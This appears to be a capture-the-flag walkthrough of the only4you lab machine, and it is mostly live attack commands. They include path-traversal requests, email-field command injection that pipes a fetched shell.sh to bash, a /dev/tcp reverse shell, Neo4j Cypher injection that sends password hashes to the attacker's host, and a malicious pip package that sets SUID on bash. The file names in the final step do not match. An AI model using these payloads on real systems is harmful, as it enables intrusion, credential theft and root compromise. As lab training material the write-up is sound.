Scanning

> TARGET=10.129.211.127 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Domain: only4you.htb
  • Subdomain
> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://only4you.htb/" -H "Host: FUZZ.only4you.htb" --hl 107

000000033:   200        51 L     145 W      2190 Ch     "beta"
  • Source code can be found at http://beta.only4you.htb/source

Code review: LFI

  • Using snyk code test, found a vulnerability in the source code
> snyk code test beta

✗ [High] Path Traversal 
   Path: app.py, line 97 
   Info: Unsanitized input from a web form flows into flask.send_file, where it is used as a path. This may result in a Path Traversal vulnerability and allow an attacker to read arbitrary files.
  • The download function lacks input validation
@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image) 
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
    if not os.path.isabs(filename):
        filename = os.path.join(app.config['LIST_FOLDER'], filename)
    try:
        if not os.path.isfile(filename):
            flash('Image doesn\'t exist!', 'danger')
            return redirect('/list')
    except (TypeError, ValueError):
        raise BadRequest()
    return send_file(filename, as_attachment=True)
  • Using wfuzz to find injection phrases /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
> wfuzz -c -z file,/usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -u http://beta.only4you.htb/download -d 'image=FUZZ' --hl 5
  • This is a LFI vulnerability that can be used to expose files

Web Enum -> Foothold

  • Users found on the system
> curl http://beta.only4you.htb/download -d 'image=/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd' -o - | grep home

syslog:x:104:110::/home/syslog:/usr/sbin/nologin
john:x:1000:1000:john:/home/john:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash
  • Find webroot in /etc/nginx/sites-available/default
server {
    listen 80;
    return 301 http://only4you.htb$request_uri;
}

server {
        listen 80;
        server_name only4you.htb;

        location / {
                include proxy_params;
                proxy_pass http://unix:/var/www/only4you.htb/only4you.sock;
        }
}

server {
        listen 80;
        server_name beta.only4you.htb;

        location / {
                include proxy_params;
                proxy_pass http://unix:/var/www/beta.only4you.htb/beta.sock;
        }
}
  • Enum for other files
> wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt -u http://beta.only4you.htb/download -d 'image=/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/var/www/only4you.htb/FUZZ.py' --hl 5

000000432:   200        44 L     114 W      1297 Ch     "app"
000001662:   200        73 L     194 W      2025 Ch     "form"
  • Found form.py and read the code to identify a cmd injection vulnerability, regex bypass
def issecure(email, ip):
	if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
		return 0
	else:
		domain = email.split("@", 1)[1]
		result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
		output = result.stdout.decode('utf-8')
		if "v=spf1" not in output:
    ...
  • Exploit the email field
# test the poc
> curl http://only4you.htb -d 'name=test&email=tset.test%40test.com|curl${IFS}<ip>&subject=test&message=set'

# create a shell.sh with the following code
bash -i >& /dev/tcp/<ip>/4444 0>&1

# trigger the reverse shell
> curl http://only4you.htb -d 'name=test&email=tset.test%40test.com|curl${IFS}<ip>/shell.sh -o-|bash&subject=test&message=set'
  • Landed as www-data

User: john

  • Upload and run linpeas
[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1004/nginx: worker  
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8001          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 127.0.0.1:7687          :::*                    LISTEN      -                   
tcp6       0      0 127.0.0.1:7474          :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -
  • Setup pivot
# kali
> chisel server -p 9999 --reverse

# target
> chisel client --max-retry-count=1 <ip>:9999 R:3001:localhost:3000 R:8002:localhost:8001
  • Try the webapp on port pivoted to 8002, it uses a default password admin:admin
  • On page http://only4you.local:8002/search there is an injection vulnerability, note the domain only4you.local, this is so that burpsuite can intercept the traffic, burpsuite, by default, will ignore localhost traffic.
  • For more detail on neo4j injection: https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j
# setup a local http server to listen for response
# in here, LOAD CSV FROM 'http://<ip>/?=' is used for data exfiltration


# get version
> ' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://<ip>/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 // 
"GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1" 400 -

# exfiltrate labels
> ' OR 1=1 WITH 1337 AS x CALL db.labels() YIELD label AS d LOAD CSV FROM 'http://<ip>/?'+d AS y RETURN 0 as _0//
"GET /?user HTTP/1.1" 200 -
"GET /?employee HTTP/1.1" 200 -

# exfiltrate passwords
> ' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://<ip>/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
"GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
"GET /?username=admin HTTP/1.1" 200 -
"GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
"GET /?username=john HTTP/1.1" 200 -
  • Crack the passwords on: https://crackstation.net/
a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6:ThisIs4You
  • Login as john to get the user flag
john@only4you:~$ cat user.txt 
0e928985716c28992f128a75008204db

PE: root

  • Check sudo rights
john@only4you:~$ sudo -l
Matching Defaults entries for john on only4you:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on only4you:
    (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
  • This place, we can create a malicious python package to achieve PE
# in kali
mkdir evil
mkdir evil/evil
touch evil/evil/__init__.py
touch evil/setup.py
  • in setup.py, add the following content
from setuptools import setup
import os

os.system('chmod +s /usr/bin/bash')
setup(
    name='evil',
    version='0.1.0',    
    description='',
    url='',
    author='',
    author_email='',
    license='BSD 2-clause',
    packages=['evil'],
    install_requires=[],

    classifiers=[
        'Development Status :: 1 - Planning',
        'Intended Audience :: Science/Research',
        'License :: OSI Approved :: BSD License',  
        'Operating System :: POSIX :: Linux',        
        'Programming Language :: Python :: 2',
        'Programming Language :: Python :: 2.7',
        'Programming Language :: Python :: 3',
        'Programming Language :: Python :: 3.4',
        'Programming Language :: Python :: 3.5',
    ],
)
  • Build a static distrubutable
> cd evil
> python3 setup.py sdist  # this create a dist/evil-0.1.0.tar.gz file
  • Login to http://only4you.local:3001/ (remember the pivot) and login as john
  • Browse to http://only4you.local:3001/john/Test/settings and make the repository public, so the uplaoded tar.gz file can be seen later
  • Browser to http://only4you.local:3001/john/Test/src/master/ and upload the evil-0.1.0.tar.gz file
  • Find the link to the raw evil-0.1.0.tar.gz file, this should be http://127.0.0.1:3000/john/Test/raw/master/evil-0.1.0.tar.gz
  • Trigger the PE and get root flag
john@only4you:~$ sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/raw/master/pe-0.1.0.tar.gz
Collecting http://127.0.0.1:3000/john/Test/raw/master/pe-0.1.0.tar.gz
  Downloading http://127.0.0.1:3000/john/Test/raw/master/pe-0.1.0.tar.gz (1.1 kB)
  Saved ./pe-0.1.0.tar.gz
Successfully downloaded pe
john@only4you:~$ ls -ls /usr/bin/bash
1156 -rwsr-sr-x 1 root root 1183448 Apr 18  2022 /usr/bin/bash
john@only4you:~$ bash -p
bash-5.0# cat /root/root.txt 
dc1b9091ad448f326abadd0c5e9de07f